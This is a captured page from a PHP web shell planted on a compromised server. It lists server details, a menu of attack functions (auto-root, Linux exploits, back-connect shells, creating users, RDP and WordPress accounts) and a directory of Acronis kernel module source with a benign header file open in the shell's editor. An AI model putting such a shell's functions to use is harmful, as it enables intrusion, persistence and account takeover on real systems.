Linux server.thearyasamaj.org 4.18.0-553.56.1.el8_10.x86_64 #1 SMP Tue Jun 10 05:00:59 EDT 2025 x86_64
Apache
: 103.90.241.146 | : 216.73.216.222
Cant Read [ /etc/named.conf ]
5.6.40
ftpuser@mantra.thearyasamaj.org
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
usr /
src /
file_protector-1.1-1578 /
transport /
[ HOME SHELL ]
Name
Size
Permission
Action
device.c
1.2
KB
-rw-r--r--
device.h
257
B
-rw-r--r--
exec_event.c
7.34
KB
-rw-r--r--
exec_event.h
391
B
-rw-r--r--
exit_event.c
1.5
KB
-rw-r--r--
exit_event.h
291
B
-rw-r--r--
fork_event.c
8.81
KB
-rw-r--r--
fork_event.h
360
B
-rw-r--r--
fs_event.c
34.74
KB
-rw-r--r--
fs_event.h
3.5
KB
-rw-r--r--
message.c
21.26
KB
-rw-r--r--
message.h
4.05
KB
-rw-r--r--
ring.h
2.29
KB
-rw-r--r--
set.h
1.87
KB
-rw-r--r--
subtype.h
4.26
KB
-rw-r--r--
thread_safe_path.h
2.28
KB
-rw-r--r--
transport.c
70.34
KB
-rw-r--r--
transport.h
4.79
KB
-rw-r--r--
transport_id.h
1.75
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : transport_id.h
/** @file transport_id.h @brief Id of the transport @details Copyright (c) 2024 Acronis International GmbH @author Denis Kopyrin (denis.kopyrin@acronis.com) @since $Id: $ */ #pragma once #include <linux/types.h> // bool, [u]int(8|16|32|64)_t, pid_t #ifdef KERNEL_MOCK #include <mock/mock.h> #endif // Limits max size of 'transport_index' #define MAX_TRANSPORT_SIZE 4 // Memory layout of transport id is // struct { // uint64_t seq_num : 55; // uint64_t taken: 1; // uint64_t index : 8; // } id; // The reason why I am not using it is because I want to be able to compare transport ids between each other. // Larger transport id is expected to arrive after smaller transport id so it takes precedence. // transport_id == 0 is reserved for invalid/empty transport id and can never be used typedef uint64_t transport_id_t; #define TRANSPORT_ID_TAKEN_BIT (1 << 8) #define TRANSPORT_ID_INDEX_MASK 0xFF #define TRANSPORT_ID_SEQ_NUM_SHIFT (8 + 1) static inline uint64_t transport_id_taken(transport_id_t id) { return id & TRANSPORT_ID_TAKEN_BIT; } static inline uint64_t transport_id_seq_num(transport_id_t id) { return id >> TRANSPORT_ID_SEQ_NUM_SHIFT; } static inline int transport_id_index(transport_id_t id) { return id & TRANSPORT_ID_INDEX_MASK; } static inline transport_id_t transport_id_make(uint64_t seq_num, int index) { return (seq_num << TRANSPORT_ID_SEQ_NUM_SHIFT) | TRANSPORT_ID_TAKEN_BIT | index; } // This is useful to keep the index correct but not mark transport as taken // Any id with 'transport_id_make' will be larger than id made by 'transport_id_make_not_taken' static inline transport_id_t transport_id_make_not_taken(unsigned index) { return index; } typedef union { transport_id_t ids[MAX_TRANSPORT_SIZE]; } transport_ids_t;
Close